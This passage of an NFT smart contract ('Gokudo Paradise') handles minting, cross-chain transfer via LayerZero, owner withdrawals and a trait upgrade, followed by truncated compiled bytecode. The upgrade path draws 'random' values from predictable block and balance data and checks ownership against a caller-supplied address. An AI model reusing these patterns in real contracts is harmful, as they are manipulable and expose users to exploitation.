NonblockingReceiver { string private baseURI; uint256 public MAX_MINT_ETHEREUM; uint256 public Mintprice = 29000000000000000; uint256 constant public UPGRADE_PRICE = 5000 ether; uint public MaxPatchPerTx; bool public bSalesStart = false; bool public bUpgradeIsActive = false; uint gasForDestinationLzReceive = 350000; mapping(uint16 => address) private _TopEXAddress; mapping(uint => uint256) public upgradenewtokenid; event InternaltokenidChange(address _by, uint _tokenId, uint256 _internaltokenID); IGOKU public GOKU; constructor( uint256 maxBatchSize_, uint256 startIndex_, uint256 endIndex_, address _layerZeroEndpoint ) ERC721B("Gokudo Paradise", "GokudoParadise", maxBatchSize_, startIndex_, endIndex_) { MaxPatchPerTx = maxBatchSize_; MAX_MINT_ETHEREUM = endIndex_ + 1; endpoint = ILayerZeroEndpoint(_layerZeroEndpoint); // Use top exchange addresses to seed random number. Changes every second _TopEXAddress[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; _TopEXAddress[1] = 0xDA9dfA130Df4dE4673b89022EE50ff26f6EA73Cf; _TopEXAddress[2] = 0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3; _TopEXAddress[3] = 0xA7EFAe728D2936e78BDA97dc267687568dD593f3; _TopEXAddress[4] = 0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8; } function setMaxMintNum(uint _MAX_MINT) external onlyOwner { MAX_MINT_ETHEREUM = _MAX_MINT; } function setMintprice(uint _Mintprice) external onlyOwner { Mintprice = _Mintprice; } function flipSalesStart() public onlyOwner { bSalesStart = !bSalesStart; } function flipUpgradeIsActive() public onlyOwner { bUpgradeIsActive = !bUpgradeIsActive; } // mint function function mint(uint8 numTokens) external payable { require(bSalesStart, "Sale is not started"); require(totalSupply() + numTokens <= MAX_MINT_ETHEREUM, "Can not mint more than MAX_MINT_ETHEREUM"); require(numTokens > 0 && numTokens <= MaxPatchPerTx, "Can not mint more than MaxPatchPerTx"); require(msg.value >= Mintprice*numTokens, "Not paid enough ETH."); _safeMint(msg.sender, numTokens); } function MintByOwner(address _to,uint256 mintamount) external onlyOwner { require(totalSupply() + mintamount <= MAX_MINT_ETHEREUM, "Can not mint more than MAX_MINT_ETHEREUM"); _safeMint(_to, mintamount); } // This function transfers the nft from your address on the // source chain to the same address on the destination chain function traverseChains(uint16 _chainId, uint tokenId) public payable { require(msg.sender == ownerOf(tokenId), "You must own the token to traverse"); require(trustedRemoteLookup[_chainId].length > 0, "This chain is currently unavailable for travel"); // burn NFT, eliminating it from circulation on src chain _burn(tokenId); // abi.encode() the payload with the values to send bytes memory payload = abi.encode(msg.sender, tokenId); // encode adapterParams to specify more gas for the destination uint16 version = 1; bytes memory adapterParams = abi.encodePacked(version, gasForDestinationLzReceive); // get the fees we need to pay to LayerZero + Relayer to cover message delivery // you will be refunded for extra gas paid (uint messageFee, ) = endpoint.estimateFees(_chainId, address(this), payload, false, adapterParams); require(msg.value >= messageFee, "Msg.value not enough to cover messageFee. Send gas for message fees"); endpoint.send{value: msg.value}( _chainId, // destination chainId trustedRemoteLookup[_chainId], // destination address of nft contract payload, // abi.encoded()'ed bytes payable(msg.sender), // refund address address(0x0), // 'zroPaymentAddress' unused for this adapterParams // txParameters ); } function setBaseURI(string memory URI) external onlyOwner { baseURI = URI; } function getupgradedtokenID(uint _tokenId) public view returns( uint256 ){ return upgradenewtokenid[_tokenId]; } // This allows the devs to receive kind donations function withdraw() external onlyOwner { uint256 balance = address(this).balance; address address1= 0xe7B39710e2b1c7027Ba2870B4a1ADfee3Cf44992; address address2= 0x153aaDE21B072169Ffab664d88192dA3d0F0Ff64; payable(address1).transfer(balance*4/10); payable(address2).transfer(balance*6/10); } // just in case this fixed variable limits us from future integrations function setGasForDestinationLzReceive(uint newVal) external onlyOwner { gasForDestinationLzReceive = newVal; } function setGOKUTokenaddress(address _GOKUToken) external onlyOwner { GOKU= IGOKU(_GOKUToken); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function getSomeRandomNumber(uint _seed, uint _limit) internal view returns (uint16) { uint extra = 0; for (uint16 i = 0; i < 5; i++) { extra += _TopEXAddress[i].balance; } uint random = uint( keccak256( abi.encodePacked( _seed, blockhash(block.number - 1), block.coinbase, block.difficulty, msg.sender, totalSupply(), extra ) ) ); return uint16(random % _limit); } //Use random number to upgrade traits. This is for future use only, not used at mint. function upgrade(address owner, uint256 tokenId) public returns (bool) { require(bUpgradeIsActive, "Compose is not active at the moment"); require(ERC721B.ownerOf(tokenId) == owner, "You do not have this token"); GOKU.burn(msg.sender, UPGRADE_PRICE); uint256 newtokenId = getSomeRandomNumber(tokenId, 9999); upgradenewtokenid[tokenId] = newtokenId; emit InternaltokenidChange(msg.sender, tokenId, newtokenId); return true; } // ------------------ // Internal Functions // ------------------ function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) override internal { // decode (address toAddr, uint tokenId) = abi.decode(_payload, (address, uint)); // mint the tokens back into existence on destination chain _airdrop(toAddr, tokenId); } function _baseURI() override internal view returns (string memory) { return baseURI; } }
0x6080604052600436106102925760003560e01c8063715018a61161015a578063b88d4fde116100c1578063d1deba1f1161007a578063d1deba1f1461082e578063e0622b2714610841578063e985e9c514610861578063eb8d72b7146108aa578063f2fde38b146108ca578063ff688979146108ea57600080fd5b8063b88d4fde14610785578063bfa26a58146107a5578063c87b56dd146107c5578063c8e69206146107e5578063cc7ad72814610805578063cf89fa031461081b57600080fd5b80639231ab2a116101135780639231ab2a146106aa578063923b0359146106f7578063943fb8721461071157806395d89b4114610731578063a22cb46514610746578063b65342c21461076657600080fd5b8063715018a61461059f5780637533d788146105b45780637fbd3fb3146105d45780638462151c146105f45780638da5cb5b146106215780638ee749121461063f57600080fd5b80633ccfd60b116101fe578063556621cc116101b7578063556621cc146104e957806355f804b3146104ff5780635fd1798c1461051f5780636352211e1461054c5780636ecd23061461056c57806370a082311461057f57600080fd5b80633ccfd60b1461043c5780633edfc01d1461045157806342842e0e1461047e57806344e1faef1461049e5780634d56b4e3146104b35780634f6ccce7146104c957600080fd5b806318160ddd1161025057806318160ddd146103885780631c37a822146103a757806323b872dd146103c75780632f745c59146103e75780632fcbe1b714610407578063367480011461041c57600080fd5b80621d35671461029757806301ffc9a7146102b957806302f369bc146102ee57806306fdde0314610326578063081812fc14610348578063095ea7b314610368575b600080fd5b3480156102a357600080fd5b506102b76102b2366004613924565b610908565b005b3480156102c557600080fd5b506102d96102d4366004613754565b610b02565b60405190151581526020015b60405180910390f35b3480156102fa57600080fd5b5060185461030e906001600160a01b031681565b6040516001600160a01b0390911681526020016102e5565b34801561033257600080fd5b5061033b610b6f565b6040516102e59190613b92565b34801561035457600080fd5b5061030e6103633660046139b8565b610c01565b34801561037457600080fd5b506102b7610383366004613728565b610c8a565b34801561039457600080fd5b506002545b6040519081526020016102e5565b3480156103b357600080fd5b506102b76103c2366004613924565b610da2565b3480156103d357600080fd5b506102b76103e2366004613649565b610e11565b3480156103f357600080fd5b50610399610402366004613728565b610e1c565b34801561041357600080fd5b506102b7610fec565b34801561042857600080fd5b506102b76104373660046139b8565b611033565b34801561044857600080fd5b506102b7611062565b34801561045d57600080fd5b5061039961046c3660046139b8565b60009081526017602052604090205490565b34801561048a57600080fd5b506102b7610499366004613649565b611147565b3480156104aa57600080fd5b506102b7611162565b3480156104bf57600080fd5b5061039960115481565b3480156104d557600080fd5b506103996104e43660046139b8565b6111a0565b3480156104f557600080fd5b5061039960125481565b34801561050b57600080fd5b506102b761051a36600461378e565b611355565b34801561052b57600080fd5b5061039961053a3660046139b8565b60176020526000908152604090205481565b34801561055857600080fd5b5061030e6105673660046139b8565b611396565b6102b761057a3660046139f5565b6113a8565b34801561058b57600080fd5b5061039961059a3660046135c5565b6114ff565b3480156105ab57600080fd5b506102b7611601565b3480156105c057600080fd5b5061033b6105cf3660046137d6565b611637565b3480156105e057600080fd5b506102b76105ef3660046139b8565b6116d1565b34801561060057600080fd5b5061061461060f3660046135c5565b611700565b6040516102e59190613b4e565b34801561062d57600080fd5b506000546001600160a01b031661030e565b34801561064b57600080fd5b5061069561065a366004613843565b600e60209081526000938452604080852084518086018401805192815290840195840195909520945292905282529020805460019091015482565b604080519283526020830191909152016102e5565b3480156106b657600080fd5b506106ca6106c53660046139b8565b6117be565b6040805182516001600160a01b031681526020928301516001600160401b031692810192909252016102e5565b34801561070357600080fd5b506014546102d99060ff1681565b34801561071d57600080fd5b506102b761072c3660046139b8565b6117db565b34801561073d57600080fd5b5061033b61180a565b34801561075257600080fd5b506102b76107613660046136f5565b611819565b34801561077257600080fd5b506014546102d990610100900460ff1681565b34801561079157600080fd5b506102b76107a036600461368a565b6118de565b3480156107b157600080fd5b506102b76107c0366004613728565b611911565b3480156107d157600080fd5b5061033b6107e03660046139b8565b61197a565b3480156107f157600080fd5b506102b76108003660046135c5565b611a45565b34801561081157600080fd5b5061039960135481565b6102b761082936600461399c565b611a91565b6102b761083c366004613899565b611d6e565b34801561084d57600080fd5b506102d961085c366004613728565b611efb565b34801561086d57600080fd5b506102d961087c366004613610565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205460ff1690565b3480156108b657600080fd5b506102b76108c53660046137f1565b6120ad565b3480156108d657600080fd5b506102b76108e53660046135c5565b6120f5565b3480156108f657600080fd5b5061039969010f0cf064dd5920000081565b600d546001600160a01b0316331461091f57600080fd5b61ffff84166000908152600f60205260409020805461093d90613fd2565b9050835114801561097c575061ffff84166000908152600f602052604090819020905161096a9190613a70565b60405180910390208380519060200120145b6109ea5760405162461bcd60e51b815260206004820152603460248201527f4e6f6e626c6f636b696e6752656365697665723a20696e76616c696420736f756044820152731c98d9481cd95b991a5b99c818dbdb9d1c9858dd60621b60648201526084015b60405180910390fd5b604051630e1bd41160e11b81523090631c37a82290610a13908790879087908790600401613dba565b600060405180830381600087803b158015610a2d57600080fd5b505af1925050508015610a3e575060015b610afc576040518060400160405280825181526020018280519060200120815250600e60008661ffff1661ffff16815260200190815260200160002084604051610a889190613a54565b9081526040805191829003602090810183206001600160401b038716600090815290825291909120835181559201516001909201919091557fe6f254030bcb01ffd20558175c13fcaed6d1520be7becee4c961b65f79243b0d90610af3908690869086908690613dba565b60405180910390a15b50505050565b60006001600160e01b031982166380ac58cd60e01b1480610b3357506001600160e01b03198216635b5e139f60e01b145b80610b4e57506001600160e01b0319821663780e9d6360e01b145b80610b6957506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060078054610b7e90613fd2565b80601f0160208091040260200160405190810160405280929190818152602001828054610baa90613fd2565b8015610bf75780601f10610bcc57610100808354040283529160200191610bf7565b820191906000526020600020905b815481529060010190602001808311610bda57829003601f168201915b5050505050905090565b6000610c0c8261218d565b610c6e5760405162461bcd60e51b815260206004820152602d60248201527f455243373231423a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084016109e1565b506000908152600b60205260409020546001600160a01b031690565b6000610c9582611396565b9050806001600160a01b0316836001600160a01b03161415610d045760405162461bcd60e51b815260206004820152602260248201527f455243373231423a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016109e1565b336001600160a01b0382161480610d205750610d20813361087c565b610d925760405162461bcd60e51b815260206004820152603960248201527f455243373231423a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016109e1565b610d9d83838361221b565b505050565b333014610e055760405162461bcd60e51b815260206004820152602b60248201527f4e6f6e626c6f636b696e6752656365697665723a2063616c6c6572206d75737460448201526a10313290213934b233b29760a91b60648201526084016109e1565b610afc84848484612277565b610d9d8383836122a4565b6000610e27836114ff565b8210610e805760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016109e1565b60008060005b6003548111610f8c576000818152600960209081526040918290208251808401909352546001600160a01b0381168352600160a01b90046001600160401b031690820152610ed382612624565b8015610ee0575060015482105b15610f3a5780516001600160a01b031615610efa57805192505b866001600160a01b0316836001600160a01b03161415610f355785841415610f2757509250610b69915050565b83610f3181614029565b9450505b610f79565b866001600160a01b031681600001516001600160a01b03161415610f795785841415610f6b57509250610b69915050565b83610f7581614029565b9450505b5080610f8481614029565b915050610e86565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b60648201526084016109e1565b6000546001600160a01b031633146110165760405162461bcd60e51b81526004016109e190613c39565b6014805461ff001981166101009182900460ff1615909102179055565b6000546001600160a01b0316331461105d5760405162461bcd60e51b81526004016109e190613c39565b601255565b6000546001600160a01b0316331461108c5760405162461bcd60e51b81526004016109e190613c39565b4773e7b39710e2b1c7027ba2870b4a1adfee3cf4499273153aade21b072169ffab664d88192da3d0f0ff64816108fc600a6110c8866004613f31565b6110d29190613f1d565b6040518115909202916000818181858888f193505050501580156110fa573d6000803e3d6000fd5b506001600160a01b0381166108fc600a611115866006613f31565b61111f9190613f1d565b6040518115909202916000818181858888f19350505050158015610afc573d6000803e3d6000fd5b610d9d838383604051806020016040528060008152506118de565b6000546001600160a01b0316331461118c5760405162461bcd60e51b81526004016109e190613c39565b6014805460ff19811660ff90911615179055565b60006003548211156112005760405162461bcd60e51b815260206004820152602360248201527f455243373231423a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016109e1565b6000805b60035481116112fe576000818152600960209081526040918290208251808401909352546001600160a01b0381168352600160a01b90046001600160401b03169082015261125182612624565b1561129f5760065481516001600160a01b03908116911614801590611277575060015482105b1561129a578483141561128c57509392505050565b8261129681614029565b9350505b6112eb565b80516001600160a01b0316158015906112c8575060065481516001600160a01b03908116911614155b156112eb57848314156112dd57509392505050565b826112e781614029565b9350505b50806112f681614029565b915050611204565b5060405162461bcd60e51b815260206004820152602560248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206279206044820152640d2dcc8caf60db1b60648201526084016109e1565b6000546001600160a01b0316331461137f5760405162461bcd60e51b81526004016109e190613c39565b80516113929060109060208401906133b2565b5050565b60006113a18261263c565b5192915050565b60145460ff166113f05760405162461bcd60e51b815260206004820152601360248201527214d85b19481a5cc81b9bdd081cdd185c9d1959606a1b60448201526064016109e1565b6011548160ff1661140060025490565b61140a9190613f05565b11156114285760405162461bcd60e51b81526004016109e190613c6e565b60008160ff1611801561144057506013548160ff1611155b6114985760405162461bcd60e51b8152602060048201526024808201527f43616e206e6f74206d696e74206d6f7265207468616e204d61785061746368506044820152630cae4a8f60e31b60648201526084016109e1565b8060ff166012546114a99190613f31565b3410156114ef5760405162461bcd60e51b81526020600482015260146024820152732737ba103830b4b21032b737bab3b41022aa241760611b60448201526064016109e1565b6114fc338260ff1661285f565b50565b60006001600160a01b03821661156b5760405162461bcd60e51b815260206004820152602b60248201527f455243373231423a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016109e1565b6006546001600160a01b03838116911614156115dc5760405162461bcd60e51b815260206004820152602a60248201527f455243373231423a2062616c616e636520717565727920666f7220746865206260448201526975726e6164647265737360b01b60648201526084016109e1565b506001600160a01b03166000908152600a60205260409020546001600160801b031690565b6000546001600160a01b0316331461162b5760405162461bcd60e51b81526004016109e190613c39565b6116356000612879565b565b600f602052600090815260409020805461165090613fd2565b80601f016020809104026020016040519081016040528092919081815260200182805461167c90613fd2565b80156116c95780601f1061169e576101008083540402835291602001916116c9565b820191906000526020600020905b8154815290600101906020018083116116ac57829003601f168201915b505050505081565b6000546001600160a01b031633146116fb5760405162461bcd60e51b81526004016109e190613c39565b601155565b6060600061170d836114ff565b90508061172e5760408051600080825260208201909252905b509392505050565b6000816001600160401b038111156117485761174861409a565b604051908082528060200260200182016040528015611771578160200160208202803683370190505b50905060005b82811015611726576117898582610e1c565b82828151811061179b5761179b614084565b6020908102919091010152806117b081614029565b915050611777565b50919050565b6040805180820190915260008082526020820152610b698261263c565b6000546001600160a01b031633146118055760405162461bcd60e51b81526004016109e190613c39565b601555565b606060088054610b7e90613fd2565b6001600160a01b0382163314156118725760405162461bcd60e51b815260206004820152601a60248201527f455243373231423a20617070726f766520746f2063616c6c657200000000000060448201526064016109e1565b336000818152600c602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6118e98484846122a4565b6118f5848484846128c9565b610afc5760405162461bcd60e51b81526004016109e190613ba5565b6000546001600160a01b0316331461193b5760405162461bcd60e51b81526004016109e190613c39565b6011548161194860025490565b6119529190613f05565b11156119705760405162461bcd60e51b81526004016109e190613c6e565b611392828261285f565b60606119858261218d565b6119e95760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016109e1565b60006119f36129d7565b90506000815111611a135760405180602001604052806000815250611a3e565b80611a1d846129e6565b604051602001611a2e929190613ae2565b6040516020818303038152906040525b9392505050565b6000546001600160a01b03163314611a6f5760405162461bcd60e51b81526004016109e190613c39565b601880546001600160a01b0319166001600160a01b0392909216919091179055565b611a9a81611396565b6001600160a01b0316336001600160a01b031614611b055760405162461bcd60e51b815260206004820152602260248201527f596f75206d757374206f776e2074686520746f6b656e20746f20747261766572604482015261736560f01b60648201526084016109e1565b61ffff82166000908152600f602052604081208054611b2390613fd2565b905011611b895760405162461bcd60e51b815260206004820152602e60248201527f5468697320636861696e2069732063757272656e746c7920756e617661696c6160448201526d189b1948199bdc881d1c985d995b60921b60648201526084016109e1565b611b9281612ae3565b60408051336020820152808201839052815180820383018152606082018352601554600160f01b60808401526082808401919091528351808403909101815260a2830193849052600d5463040a7bb160e41b90945290926001926000916001600160a01b0316906340a7bb1090611c15908990309089908790899060a601613d05565b604080518083038186803b158015611c2c57600080fd5b505afa158015611c40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6491906139d1565b50905080341015611ce95760405162461bcd60e51b815260206004820152604360248201527f4d73672e76616c7565206e6f7420656e6f75676820746f20636f766572206d6560448201527f73736167654665652e2053656e642067617320666f72206d657373616765206660648201526265657360e81b608482015260a4016109e1565b600d5461ffff87166000908152600f6020526040808220905162c5803160e81b81526001600160a01b039093169263c5803100923492611d34928c928b913391908b90600401613e03565b6000604051808303818588803b158015611d4d57600080fd5b505af1158015611d61573d6000803e3d6000fd5b5050505050505050505050565b61ffff85166000908152600e60205260408082209051611d8f908790613a54565b90815260408051602092819003830190206001600160401b0387166000908152925290206001810154909150611e165760405162461bcd60e51b815260206004820152602660248201527f4e6f6e626c6f636b696e6752656365697665723a206e6f2073746f726564206d60448201526565737361676560d01b60648201526084016109e1565b805482148015611e40575080600101548383604051611e36929190613a44565b6040518091039020145b611e8c5760405162461bcd60e51b815260206004820152601a60248201527f4c617965725a65726f3a20696e76616c6964207061796c6f616400000000000060448201526064016109e1565b60008082556001820155604051630e1bd41160e11b81523090631c37a82290611ec19089908990899089908990600401613d59565b600060405180830381600087803b158015611edb57600080fd5b505af1158015611eef573d6000803e3d6000fd5b50505050505050505050565b601454600090610100900460ff16611f615760405162461bcd60e51b815260206004820152602360248201527f436f6d706f7365206973206e6f742061637469766520617420746865206d6f6d604482015262195b9d60ea1b60648201526084016109e1565b826001600160a01b0316611f7483611396565b6001600160a01b031614611fca5760405162461bcd60e51b815260206004820152601a60248201527f596f7520646f206e6f742068617665207468697320746f6b656e00000000000060448201526064016109e1565b601854604051632770a7eb60e21b815233600482015269010f0cf064dd5920000060248201526001600160a01b0390911690639dc29fac90604401600060405180830381600087803b15801561201f57600080fd5b505af1158015612033573d6000803e3d6000fd5b5050505060006120458361270f612d0e565b60008481526017602090815260409182902061ffff939093169283905581513381529081018690529081018290529091507fca0575f72e92b6b92d99f84ba94ef11af6dd857a77a3c02c45b73046b3518aea9060600160405180910390a15060019392505050565b6000546001600160a01b031633146120d75760405162461bcd60e51b81526004016109e190613c39565b61ffff83166000908152600f60205260409020610afc908383613436565b6000546001600160a01b0316331461211f5760405162461bcd60e51b81526004016109e190613c39565b6001600160a01b0381166121845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109e1565b6114fc81612879565b600061219882612624565b156121cf5760015482108015610b69575050600654600091825260096020526040909120546001600160a01b039182169116141590565b6000828152600960205260409020546001600160a01b031615801590610b69575050600654600091825260096020526040909120546001600160a01b039182169116141590565b919050565b6000828152600b602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000808280602001905181019061228e91906135e2565b9150915061229c8282612df0565b505050505050565b60006122af8261263c565b80519091506000906001600160a01b0316336001600160a01b031614806122e65750336122db84610c01565b6001600160a01b0316145b806122f8575081516122f8903361087c565b9050806123625760405162461bcd60e51b815260206004820152603260248201527f455243373231423a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b60648201526084016109e1565b846001600160a01b031682600001516001600160a01b0316146123d65760405162461bcd60e51b815260206004820152602660248201527f455243373231423a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016109e1565b6001600160a01b03841661243a5760405162461bcd60e51b815260206004820152602560248201527f455243373231423a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016109e1565b61244a600084846000015161221b565b6001600160a01b0385166000908152600a6020526040812080546001929061247c9084906001600160801b0316613f50565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b0386166000908152600a6020526040812080546001945090926124c891859116613ee3565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b0380871682526001600160401b03428116602080850191825260008981526009909152948520935184549151909216600160a01b026001600160e01b0319909116919092161717905561254f846001613f05565b905061255a81612624565b801561257b57506000818152600960205260409020546001600160a01b0316155b156125f0576125898161218d565b156125f05760408051808201825284516001600160a01b0390811682526020808701516001600160401b039081168285019081526000878152600990935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03166000805160206140dc83398151915260405160405180910390a461229c565b60006004548210158015610b69575050600554101590565b60408051808201909152600080825260208201526126598261218d565b6126b85760405162461bcd60e51b815260206004820152602a60248201527f455243373231423a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016109e1565b6000828152600960209081526040918290208251808401909352546001600160a01b0381168352600160a01b90046001600160401b0316908201526126fc83612624565b61274c5780516001600160a01b031615801590612729575060065481516001600160a01b03908116911614155b156127345792915050565b60405162461bcd60e51b81526004016109e190613cb6565b60007f000000000000000000000000000000000000000000000000000000000000001484106127ad5761279f7f000000000000000000000000000000000000000000000000000000000000001485613f78565b6127aa906001613f05565b90505b6004548110156127bc57506004545b835b818110612846576000818152600960209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915290935015801590612826575060065483516001600160a01b03908116911614155b156128345750909392505050565b8061283e81613fbb565b9150506127be565b5060405162461bcd60e51b81526004016109e190613cb6565b611392828260405180602001604052806000815250612e0a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006001600160a01b0384163b156129cb57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061290d903390899088908890600401613b11565b602060405180830381600087803b15801561292757600080fd5b505af1925050508015612957575060408051601f3d908101601f1916820190925261295491810190613771565b60015b6129b1573d808015612985576040519150601f19603f3d011682016040523d82523d6000602084013e61298a565b606091505b5080516129a95760405162461bcd60e51b81526004016109e190613ba5565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506129cf565b5060015b949350505050565b606060108054610b7e90613fd2565b606081612a0a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612a345780612a1e81614029565b9150612a2d9050600a83613f1d565b9150612a0e565b6000816001600160401b03811115612a4e57612a4e61409a565b6040519080825280601f01601f191660200182016040528015612a78576020820181803683370190505b5090505b84156129cf57612a8d600183613f78565b9150612a9a600a86614044565b612aa5906030613f05565b60f81b818381518110612aba57612aba614084565b60200101906001600160f81b031916908160001a905350612adc600a86613f1d565b9450612a7c565b6000612aee8261263c565b90506000612afb83611396565b9050612b096000848361221b565b6001600160a01b0381166000908152600a60209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612b6690600190613f50565b6001600160801b0316815260200160018360200151612b859190613f50565b6001600160801b039081169091526001600160a01b0384166000908152600a602090815260408220845194909101518316600160801b02939092169290921790556002805491612bd483613fbb565b90915550506040805180820182526006546001600160a01b0390811682526001600160401b03428116602080850191825260008a81526009909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055612c40856001613f05565b9050612c4b81612624565b8015612c6c57506000818152600960205260409020546001600160a01b0316155b15612ce157612c7a8161218d565b15612ce15760408051808201825285516001600160a01b0390811682526020808801516001600160401b039081168285019081526000878152600990935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b60405185906000906001600160a01b038616906000805160206140dc833981519152908390a45050505050565b600080805b60058161ffff161015612d5c5761ffff8116600090815260166020526040902054612d48906001600160a01b03163183613f05565b915080612d5481614007565b915050612d13565b50600084612d6b600143613f78565b40414433612d7860025490565b6040805160208101979097528601949094526bffffffffffffffffffffffff19606093841b811684870152607486019290925290911b16609483015260a882015260c8810183905260e80160408051601f1981840301815291905280516020909101209050612de78482614044565b95945050505050565b611392828260405180602001604052806000815250613161565b6001546001600160a01b038416612e6d5760405162461bcd60e51b815260206004820152602160248201527f455243373231423a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016109e1565b6006546001600160a01b0385811691161415612e9b5760405162461bcd60e51b81526004016109e190613bf8565b612ea48161218d565b15612ef15760405162461bcd60e51b815260206004820152601d60248201527f455243373231423a20746f6b656e20616c7265616479206d696e74656400000060448201526064016109e1565b7f0000000000000000000000000000000000000000000000000000000000000014831115612f6c5760405162461bcd60e51b815260206004820152602260248201527f455243373231423a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b60648201526084016109e1565b6001600160a01b0384166000908152600a60209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612fc8908790613ee3565b6001600160801b03168152602001858360200151612fe69190613ee3565b6001600160801b039081169091526001600160a01b038088166000818152600a602090815260408083208751978301518716600160801b029790961696909617909455845180860186529182526001600160401b034281168386019081528883526009909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b858110156131565760405182906001600160a01b038916906000906000805160206140dc833981519152908290a46130b760008884886128c9565b61311f5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016109e1565b8161312981614029565b60028054919450909150600061313e83614029565b9190505550808061314e90614029565b91505061307c565b50600181905561229c565b61316b83836131df565b61317860008484846128c9565b610d9d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016109e1565b6001600160a01b0382166132355760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109e1565b6006546001600160a01b03838116911614156132635760405162461bcd60e51b81526004016109e190613bf8565b6002805490600061327383614029565b91905055506003548111156132885760038190555b6001600160a01b0382166000908152600a60209081526040918290208251808401845290546001600160801b038082168352600160801b90910416918101919091528151808301909252805190919081906132e4906001613ee3565b6001600160801b03168152602001826020015160016133039190613ee3565b6001600160801b039081169091526001600160a01b038086166000818152600a602090815260408083208751978301518716600160801b029790961696909617909455845180860186528281526001600160401b034281168287019081528984526009909652868320915182549651909116600160a01b026001600160e01b0319909616941693909317939093179091559151849291906000805160206140dc833981519152908290a4505050565b8280546133be90613fd2565b90600052602060002090601f0160209004810192826133e05760008555613426565b82601f106133f957805160ff1916838001178555613426565b82800160010185558215613426579182015b8281111561342657825182559160200191906001019061340b565b506134329291506134aa565b5090565b82805461344290613fd2565b90600052602060002090601f0160209004810192826134645760008555613426565b82601f1061347d5782800160ff19823516178555613426565b82800160010185558215613426579182015b8281111561342657823582559160200191906001019061348f565b5b8082111561343257600081556001016134ab565b60006001600160401b03808411156134d9576134d961409a565b604051601f8501601f19908116603f011681019082821181831017156135015761350161409a565b8160405280935085815286868601111561351a57600080fd5b858560208301376000602087830101525050509392505050565b60008083601f84011261354657600080fd5b5081356001600160401b0381111561355d57600080fd5b60208301915083602082850101111561357557600080fd5b9250929050565b600082601f83011261358d57600080fd5b611a3e838335602085016134bf565b803561ffff8116811461221657600080fd5b80356001600160401b038116811461221657600080fd5b6000602082840312156135d757600080fd5b8135611a3e816140b0565b600080604083850312156135f557600080fd5b8251613600816140b0565b6020939093015192949293505050565b6000806040838503121561362357600080fd5b823561362e816140b0565b9150602083013561363e816140b0565b809150509250929050565b60008060006060848603121561365e57600080fd5b8335613669816140b0565b92506020840135613679816140b0565b929592945050506040919091013590565b600080600080608085870312156136a057600080fd5b84356136ab816140b0565b935060208501356136bb816140b0565b92506040850135915060608501356001600160401b038111156136dd57600080fd5b6136e98782880161